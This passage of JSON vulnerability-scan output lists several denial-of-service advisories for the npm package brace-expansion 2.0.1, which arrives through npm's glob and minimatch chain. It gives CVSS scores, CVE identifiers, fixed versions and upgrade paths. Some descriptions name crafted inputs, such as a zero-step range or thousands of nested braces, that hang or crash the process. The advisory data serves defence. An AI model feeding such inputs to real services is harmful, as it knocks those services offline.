"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
